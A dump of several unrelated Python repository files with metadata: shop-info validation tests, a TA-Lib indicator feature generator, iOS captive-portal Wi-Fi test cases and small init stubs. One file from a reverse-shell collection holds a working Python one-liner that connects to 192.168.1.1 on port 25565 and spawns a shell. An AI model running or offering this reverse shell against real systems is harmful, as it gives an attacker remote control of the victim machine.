nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shoipinfo_phone_for_invalid_value1(): tmp1 = impl.ShopInfo(NAME, -7855326350, EMAIL, URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_raises(ValueError, tmp1.get_phone) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shoipinfo_phone_for_invalid_value2(): tmp1 = impl.ShopInfo(NAME, 0, EMAIL, URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_raises(ValueError, tmp1.get_phone) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shoipinfo_phone_for_invalid_value3(): tmp1 = impl.ShopInfo(NAME, 123412341234, EMAIL, URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_raises(ValueError, tmp1.get_phone) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shoipinfo_phone_for_invalid_value4(): tmp1 = impl.ShopInfo(NAME, -412341234, EMAIL, URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_raises(ValueError, tmp1.get_phone) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_phone_for_invalid_value5(): tmp1 = impl.ShopInfo(NAME, None, EMAIL, URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_raises(ValueError, tmp1.get_phone) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_phone_for_invalid_type(): tmp1 = impl.ShopInfo(NAME, str(PHONE), EMAIL, URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_raises(ValueError, tmp1.get_phone) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_email_for_invalid_value1(): tmp1 = impl.ShopInfo(NAME, PHONE, "harry", URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_raises(ValueError, tmp1.get_email) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_email_for_invalid_value2(): tmp1 = impl.ShopInfo(NAME, PHONE, "a@b@c", URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_raises(ValueError, tmp1.get_email) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_email_for_invalid_value3(): tmp1 = impl.ShopInfo(NAME, PHONE, "john..doe@example.com", URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_raises(ValueError, tmp1.get_email) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_email_for_invalid_value4(): tmp1 = impl.ShopInfo(NAME, PHONE, "john.doe@example..com", URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_raises(ValueError, tmp1.get_email) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_email_for_invalid_value5(): tmp1 = impl.ShopInfo(NAME, PHONE, "john/doe@example..com", URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_raises(ValueError, tmp1.get_email) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_email_for_invalid_value6(): tmp1 = impl.ShopInfo(NAME, PHONE, None, URL) assert tmp1.get_name() == NAME nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_raises(ValueError, tmp1.get_email) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_email_for_invalid_value7(): tmp1 = impl.ShopInfo(NAME, PHONE, "b", URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_raises(ValueError, tmp1.get_email) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_email_for_invalid_value8(): tmp1 = impl.ShopInfo(NAME, PHONE, "b@", URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_raises(ValueError, tmp1.get_email) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_email_for_invalid_value9(): tmp1 = impl.ShopInfo(NAME, PHONE, "@a", URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_raises(ValueError, tmp1.get_email) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_email_for_invalid_type(): tmp1 = impl.ShopInfo(NAME, PHONE, 1234, URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_raises(ValueError, tmp1.get_email) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_website_for_invalid_value1(): tmp1 = impl.ShopInfo(NAME, PHONE, EMAIL, "ksu") nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_raises(ValueError, tmp1.get_website) def test_shopinfo_website_for_invalid_value2(): tmp1 = impl.ShopInfo(NAME, PHONE, EMAIL, "http://ksu%$^") nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_raises(ValueError, tmp1.get_website) def test_shopinfo_website_for_invalid_value3(): tmp1 = impl.ShopInfo(NAME, PHONE, EMAIL, None) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_raises(ValueError, tmp1.get_website) def test_shopinfo_website_for_invalid_type(): tmp1 = impl.ShopInfo(NAME, PHONE, EMAIL, 1234) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_raises(ValueError, tmp1.get_website)

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null

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1

0

9

006c8ad5b7c9fb5d8b98c582b2a3b6aa7909e52f

4,412

py

Python

umigame/nlp/deprecate.py

penguinwang96825/Umigame

98d647ab6f40df08fe31d6b3bc444afe229a914e

[ "Apache-2.0" ]

null

umigame/nlp/deprecate.py

penguinwang96825/Umigame

98d647ab6f40df08fe31d6b3bc444afe229a914e

[ "Apache-2.0" ]

null

umigame/nlp/deprecate.py

penguinwang96825/Umigame

98d647ab6f40df08fe31d6b3bc444afe229a914e

[ "Apache-2.0" ]

1

2021-11-01T14:35:32.000Z

import talib import itertools import pandas as pd def generate_feature(price_df): high = price_df["high"].values low = price_df["low"].values close = price_df["close"].values original_columns = price_df.columns feature_df = price_df.copy() for t in range(7, 22): series = pd.Series(talib.ADX(high, low, close, timeperiod=t), name=f"ADX_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(7, 22): series = pd.Series(talib.ADXR(high, low, close, timeperiod=t), name=f"ADXR_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for f, s in itertools.product(range(10, 15), range(25, 30)): series = pd.Series(talib.APO(close, fastperiod=f, slowperiod=s, matype=0), name=f"APO_{f}_{s}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(7, 22): series = pd.Series(talib.AROONOSC(high, low, timeperiod=t), name=f"AROONOSC_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(7, 22): series = pd.Series(talib.CCI(high, low, close, timeperiod=t), name=f"CCI_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(7, 22): series = pd.Series(talib.CMO(close, timeperiod=t), name=f"CMO_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(7, 22): series = pd.Series(talib.DX(high, low, close, timeperiod=t), name=f"DX_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(7, 22): series = pd.Series(talib.MINUS_DI(high, low, close, timeperiod=t), name=f"MINUS_DI_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(7, 22): series = pd.Series(talib.MINUS_DM(high, low, timeperiod=t), name=f"MINUS_DM_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(7, 22): series = pd.Series(talib.MOM(close, timeperiod=t), name=f"MOM_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(7, 22): series = pd.Series(talib.PLUS_DI(high, low, close, timeperiod=t), name=f"PLUS_DI_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(7, 22): series = pd.Series(talib.PLUS_DM(high, low, timeperiod=t), name=f"PLUS_DM_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for f, s in zip(range(10, 15), range(25, 30)): series = pd.Series(talib.PPO(close, fastperiod=f, slowperiod=s, matype=0), name=f"PPO_{f}_{s}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(7, 22): series = pd.Series(talib.ROC(close, timeperiod=t), name=f"ROC_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(7, 22): series = pd.Series(talib.ROCP(close, timeperiod=t), name=f"ROCP_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(6, 22): series = pd.Series(talib.ROCR100(close, timeperiod=t), name=f"ROCR100_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(5, 22): series = pd.Series(talib.RSI(close, timeperiod=t), name=f"RSI_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t1, t2, t3 in itertools.product(range(5, 10), range(10, 15), range(25, 30)): series = pd.Series(talib.ULTOSC(high, low, close, timeperiod1=t1, timeperiod2=t2, timeperiod3=t3), name=f"ULTOSC_{t1}_{t2}_{t3}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) for t in range(5, 22): series = pd.Series(talib.WILLR(high, low, close, timeperiod=t), name=f"WILLR_{t}", index=feature_df.index) feature_df = pd.concat((feature_df, series), axis=1) feature_df = feature_df.bfill() # Exclude columns you don't want feature_df = feature_df[feature_df.columns[~feature_df.columns.isin(original_columns)]] return feature_df

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null

0

7

979610a75a9969078299218d0f4d42e4a76282ac

17,066

py

Python

tests/e2e/interOp/captive_portal/bridge_mode/ios/test_captive_portal_modes.py

Telecominfraproject/wlan-testing

32b95f41a79f53958b7641eeed5bcd16af96908c

[ "BSD-3-Clause" ]

7

2020-08-19T16:45:46.000Z

2022-02-10T09:55:22.000Z

tests/e2e/interOp/captive_portal/bridge_mode/ios/test_captive_portal_modes.py

Telecominfraproject/wlan-testing

32b95f41a79f53958b7641eeed5bcd16af96908c

[ "BSD-3-Clause" ]

47

2020-12-20T16:06:03.000Z

2022-03-23T03:01:22.000Z

tests/e2e/interOp/captive_portal/bridge_mode/ios/test_captive_portal_modes.py

Telecominfraproject/wlan-testing

32b95f41a79f53958b7641eeed5bcd16af96908c

[ "BSD-3-Clause" ]

9

2021-02-04T22:32:06.000Z

2021-12-14T17:45:51.000Z

from logging import exception import io import unittest import warnings from perfecto.test import TestResultFactory import pytest import sys import time from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.common.by import By from appium import webdriver from selenium.common.exceptions import NoSuchElementException import sys import allure if 'perfecto_libs' not in sys.path: sys.path.append(f'../libs/perfecto_libs') from iOS_lib import closeApp, openApp, get_WifiIPAddress_iOS, ForgetWifiConnection, ping_deftapps_iOS, \ Toggle_AirplaneMode_iOS, set_APconnMobileDevice_iOS, verify_APconnMobileDevice_iOS, Toggle_WifiMode_iOS, tearDown,\ verifyUploadDownloadSpeediOS, get_ip_address_ios, captive_portal_ios, wifi_connect, wifi_disconnect_and_forget pytestmark = [pytest.mark.sanity, pytest.mark.interop, pytest.mark.ios, pytest.mark.interop_ios, pytest.mark.captive_portal, pytest.mark.interop_uc_sanity, pytest.mark.bridge] setup_params_general = { "mode": "BRIDGE", "ssid_modes": { "open": [{"ssid_name": "captive_open_2g", "appliedRadios": ["2G"]}, {"ssid_name": "captive_open_5g", "appliedRadios": ["5G"]}], "wpa": [{"ssid_name": "captive_wpa_2g", "appliedRadios": ["2G"], "security_key": "lanforge"}, {"ssid_name": "captive_wpa_5g", "appliedRadios": ["5G"], "security_key": "lanforge"}], "wpa2": [{"ssid_name": "captive_wpa2_2g", "appliedRadios": ["2G"], "security_key": "lanforge"}, {"ssid_name": "captive2_wpa_5g", "appliedRadios": ["5G"], "security_key": "lanforge"}], "wpa3_personal": [ {"ssid_name": "captive_wpa3_2g", "appliedRadios": ["2G"], "security_key": "lanforge"}, {"ssid_name": "captive_wpa3_5g", "appliedRadios": ["5G"], "security_key": "lanforge"}]}, "rf": {}, "radius": False } @allure.suite(suite_name="interop sanity") @allure.sub_suite(sub_suite_name="Bridge Mode Captive Portal : Suite-A") @pytest.mark.InteropsuiteA @allure.feature("BRIDGE MODE CAPTIVE PORTAL") # @pytest.mark.parametrize( # 'setup_profiles', # [setup_params_general], # indirect=True, # scope="class" # ) #@pytest.mark.usefixtures("setup_profiles") class TestBridgeModeCaptivePortalSuiteOneBridge(object): """ Captive Portal SuiteA pytest -m "captive portal and bridge and InteropsuiteA" """ @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-5179", name="WIFI-5179") @pytest.mark.twog @pytest.mark.open def test_Captive_Portal_Open_2g_BRIDGE(self, request, get_vif_state, get_ap_logs, get_APToMobileDevice_data, setup_perfectoMobile_iOS): profile_data = setup_params_general["ssid_modes"]["open"][0] ssidName = profile_data["ssid_name"] ssidPassword = "[BLANK]" print("SSID_NAME: " + ssidName) print("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_iOS[1] driver = setup_perfectoMobile_iOS[0] connData = get_APToMobileDevice_data # Set Wifi/AP Mode ip, is_internet = captive_portal_ios(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) if is_internet: if ip: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert verifyUploadDownloadSpeediOS(request, setup_perfectoMobile_iOS, connData) wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) else: allure.attach(name="Connection Status: ", body=str("No Internet access")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-5146", name="WIFI-5146") @pytest.mark.fiveg @pytest.mark.open def test_Captive_Portal_Open_5g_BRIDGE(self, request, get_vif_state, get_ap_logs, get_APToMobileDevice_data, setup_perfectoMobile_iOS): profile_data = setup_params_general["ssid_modes"]["open"][1] ssidName = profile_data["ssid_name"] ssidPassword = "[BLANK]" print("SSID_NAME: " + ssidName) print("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_iOS[1] driver = setup_perfectoMobile_iOS[0] connData = get_APToMobileDevice_data # Set Wifi/AP Mode ip, is_internet = captive_portal_ios(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) if is_internet: if ip: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert verifyUploadDownloadSpeediOS(request, setup_perfectoMobile_iOS, connData) wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) else: allure.attach(name="Connection Status: ", body=str("No Internet access")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-5182", name="WIFI-5182") @pytest.mark.twog @pytest.mark.wpa def test_Captive_Portal_WPA_2g_Bridge(self, request, get_vif_state, get_ap_logs, get_APToMobileDevice_data, setup_perfectoMobile_iOS): profile_data = setup_params_general["ssid_modes"]["wpa"][0] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print("SSID_NAME: " + ssidName) print("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_iOS[1] driver = setup_perfectoMobile_iOS[0] connData = get_APToMobileDevice_data # Set Wifi/AP Mode ip, is_internet = captive_portal_ios(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) if is_internet: if ip: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert verifyUploadDownloadSpeediOS(request, setup_perfectoMobile_iOS, connData) wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) else: allure.attach(name="Connection Status: ", body=str("No Internet access")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-5149", name="WIFI-5149") @pytest.mark.fiveg @pytest.mark.wpa def test_Captive_Portal_WPA_5g_Bridge(self, request, get_vif_state, get_ap_logs, get_APToMobileDevice_data, setup_perfectoMobile_iOS): profile_data = setup_params_general["ssid_modes"]["wpa"][1] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print("SSID_NAME: " + ssidName) print("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_iOS[1] driver = setup_perfectoMobile_iOS[0] connData = get_APToMobileDevice_data # Set Wifi/AP Mode ip, is_internet = captive_portal_ios(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) if is_internet: if ip: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert verifyUploadDownloadSpeediOS(request, setup_perfectoMobile_iOS, connData) wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) else: allure.attach(name="Connection Status: ", body=str("No Internet access")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-5186", name="WIFI-5186") @pytest.mark.twog @pytest.mark.wpa2_personal def test_Captive_Portal_WPA2_2g_Personal_Bridge(self, request, get_vif_state, get_ap_logs, get_APToMobileDevice_data, setup_perfectoMobile_iOS): profile_data = setup_params_general["ssid_modes"]["wpa2_personal"][0] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print("SSID_NAME: " + ssidName) print("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_iOS[1] driver = setup_perfectoMobile_iOS[0] connData = get_APToMobileDevice_data # Set Wifi/AP Mode ip, is_internet = captive_portal_ios(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) if is_internet: if ip: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert verifyUploadDownloadSpeediOS(request, setup_perfectoMobile_iOS, connData) wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) else: allure.attach(name="Connection Status: ", body=str("No Internet access")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-5153", name="WIFI-5153") @pytest.mark.fiveg @pytest.mark.wpa2_personal def test_Captive_Portal_WPA2_5g_Personal_Bridge(self, request, get_vif_state, get_ap_logs, get_APToMobileDevice_data, setup_perfectoMobile_iOS): profile_data = setup_params_general["ssid_modes"]["wpa2_personal"][1] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print("SSID_NAME: " + ssidName) print("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_iOS[1] driver = setup_perfectoMobile_iOS[0] connData = get_APToMobileDevice_data # Set Wifi/AP Mode ip, is_internet = captive_portal_ios(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) if is_internet: if ip: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert verifyUploadDownloadSpeediOS(request, setup_perfectoMobile_iOS, connData) wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) else: allure.attach(name="Connection Status: ", body=str("No Internet access")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-5130", name="WIFI-5130") @pytest.mark.twog @pytest.mark.wpa3_personal def test_Captive_Portal_WPA3_2g_Personal_Bridge(self, request, get_vif_state, get_ap_logs, get_APToMobileDevice_data, setup_perfectoMobile_iOS): profile_data = setup_params_general["ssid_modes"]["wpa3_personal"][0] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print("SSID_NAME: " + ssidName) print("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_iOS[1] driver = setup_perfectoMobile_iOS[0] connData = get_APToMobileDevice_data # Set Wifi/AP Mode ip, is_internet = captive_portal_ios(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) if is_internet: if ip: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert verifyUploadDownloadSpeediOS(request, setup_perfectoMobile_iOS, connData) wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) else: allure.attach(name="Connection Status: ", body=str("No Internet access")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-5140", name="WIFI-5140") @pytest.mark.sg123 @pytest.mark.fiveg @pytest.mark.wpa3_personal def test_Captive_Portal_WPA3_5g_Personal_Bridge(self, request, get_vif_state, get_ap_logs, get_APToMobileDevice_data, setup_perfectoMobile_iOS): profile_data = setup_params_general["ssid_modes"]["wpa3_personal"][1] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print("SSID_NAME: " + ssidName) print("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_iOS[1] driver = setup_perfectoMobile_iOS[0] connData = get_APToMobileDevice_data # Set Wifi/AP Mode ip, is_internet = captive_portal_ios(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) if is_internet: if ip: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert verifyUploadDownloadSpeediOS(request, setup_perfectoMobile_iOS, connData) wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_iOS, connData) else: allure.attach(name="Connection Status: ", body=str("No Internet access")) assert False

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RdevJ/headquater

2da2290560b030f7ce365e1b71affd637fb9cab4

[ "MIT" ]

null

src/app/models/__init__.py

RdevJ/headquater

2da2290560b030f7ce365e1b71affd637fb9cab4

[ "MIT" ]

null

src/app/models/__init__.py

RdevJ/headquater

2da2290560b030f7ce365e1b71affd637fb9cab4

[ "MIT" ]

null

import app.models.tag # noqa import app.models.article # noqa import app.models.answer # noqa import app.models.question # noqa import app.models.statistics # noqa

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neuralgym/ops/__init__.py

autocomic/neuralgym

de7088214eed65e789e4a062f643049b55386485

[ "MIT" ]

98

2018-02-14T17:23:43.000Z

2022-03-29T12:55:40.000Z

neuralgym/ops/__init__.py

autocomic/neuralgym

de7088214eed65e789e4a062f643049b55386485

[ "MIT" ]

11

2018-03-02T01:27:07.000Z

2022-01-05T12:04:45.000Z

neuralgym/ops/__init__.py

autocomic/neuralgym

de7088214eed65e789e4a062f643049b55386485

[ "MIT" ]

77

2018-02-18T11:16:48.000Z

2022-03-30T01:04:21.000Z

from . import summary_ops from . import loss_ops from . import image_ops from . import layers from . import train_ops

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c17d0bdd5bf0af5f43a0985ce61edab5ab028726

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py

Python

ReverShell Collection/Linux Based Attack/RevShellPython_2Linux.py

cometteetcaramel/Simple-ReverseShell-Collect

948c2344edb59580c5466ab00a58600522afc16b

[ "MIT" ]

1

2021-05-22T20:06:42.000Z

ReverShell Collection/Linux Based Attack/RevShellPython_2Linux.py

cometteetcaramel/Simple-ReverseShell-Collect

948c2344edb59580c5466ab00a58600522afc16b

[ "MIT" ]

null

ReverShell Collection/Linux Based Attack/RevShellPython_2Linux.py

cometteetcaramel/Simple-ReverseShell-Collect

948c2344edb59580c5466ab00a58600522afc16b

[ "MIT" ]

null

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",25565));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

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py

Python

src/lib/posixpath.py

DTenore/skulpt

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[ "MIT" ]

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2015-01-03T08:23:25.000Z

2022-03-31T06:15:48.000Z

src/lib/posixpath.py

wakeupmuyunhe/skulpt

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[ "MIT" ]

972

2015-01-05T08:11:00.000Z

2022-03-29T13:47:15.000Z

src/lib/posixpath.py

wakeupmuyunhe/skulpt

a8fb11a80fb6d7c016bab5dfe3712517a350b347

[ "MIT" ]

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2015-01-03T19:53:36.000Z

2022-03-29T18:34:22.000Z

import _sk_fail; _sk_fail._("posixpath")

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